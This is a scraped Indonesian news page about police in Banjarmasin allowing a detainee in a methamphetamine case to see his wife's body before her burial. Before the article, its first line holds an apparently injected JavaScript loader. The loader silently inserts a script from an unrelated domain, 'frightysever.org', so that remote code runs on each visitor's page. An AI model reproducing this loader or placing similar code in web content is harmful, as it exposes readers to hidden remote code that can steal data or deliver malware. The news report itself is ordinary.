(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sebuah mobil ambulans membawa jenazah tiba-tiba masuk ke halaman belakang Mapolresta Banjarmasin. Jenazah dalam ambulans sudah terbungkus kain kapan siap akan dimakamkan. Mobil ambulans itu ternyata membawa jasad seorang istri dari salah satu tahanan kasus narkotika Polres Kota Banjarmasin untuk dipertemukan terakhir kalinya sebelum dikebumikan.
Rahmadi alias Komeng, lelaki berumur 37 tahun ini sudah mendekam di rumah tahanan Polresta Banjarmasin selama 29 hari.
Ia ditetapkan sebagai tersangka oleh Satres Narkoba Polresta Banjarmasin beberapa waktu lalu, atas kasus kepemilikan narkoba jenis sabu.
Baca juga: Pj Bupati HSU Pantau Pasar Murah di Kelurahan Sungai Malang
Selain mendekam di tahanan, Rahmadi juga harus rela berpisah dengan isterinya untuk selama-lamanya. Rahmadi yang ditahan di jeruji besi polisi tidak dapat menyaksikan saat istrinya menghembuskan nafas terakhir.
Untuk mewujudkan rasa kemanusiaan, Kapolresta Banjarmasin Kombes Pol Sabana melalui Kasatres Narkoba, Kompol Mars Suryo Kartika memberikan kesempatan terakhir kepada Rahmadi melihat jenazah istrinya sebelum dikebumikan, pada Kamis (16/3/2023) sore.
Sebelum dilakukan pemakaman, jasad istri tersangka kasus narkoba ini dibawa menggunakan ambulans ke halaman belakang Mapolresta Banjarmasin untuk dipertemukan dengan Rahmadi.
“Jadi kita berikan permintaan keluarga, dan kita juga lakukan pendampingan kepada tersangka untuk mempertemukan tersangka melihat jasad istrinya untuk terakhir kalinya,” kata Kompol Mars Suryo Kartika, Jumat (17/3/2023).
Suasana haru pun terjadi saat tersangka yang memakai baju tahanan dan tangan diborgol mencium kening jasad istrinya sambil meneteskan air mata.
Baca juga: SPAM Banjarbakula Berkapasitas 750 Liter per Detik, 74.202 Sambungan Rumah Lima Daerah di Kalsel
Keluarga dan kerabat yang menyaksikan juga tidak dapat menahan air mata saat detik-detik pertemuan Rahmadi dengan istrinya untuk terakhir kalinya tersebut.
“Apa yang diberikan adalah hak tersangka, ini sebagai bentuk pelayanan prima terhadap tersangka, kita fasilitasi tempat untuk memperlihatkan jenazah istrinya,” ujar Kompol Mars Suryo.
Pihaknya pun tidak lupa untuk mengucapkan duka cita yang mendalam atas meninggalnya istri tahanan Polresta Banjarmasin tersebut.
“Dan keluarga yang ditinggalkan khususnya suami yang masih menjalani proses hukum diberikan kesabaran dan bisa menjalani proses hukuman dengan baik,” tutupnya. (kanalkalimantan.com/rizki)
Reporter: rizki
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
This website uses cookies.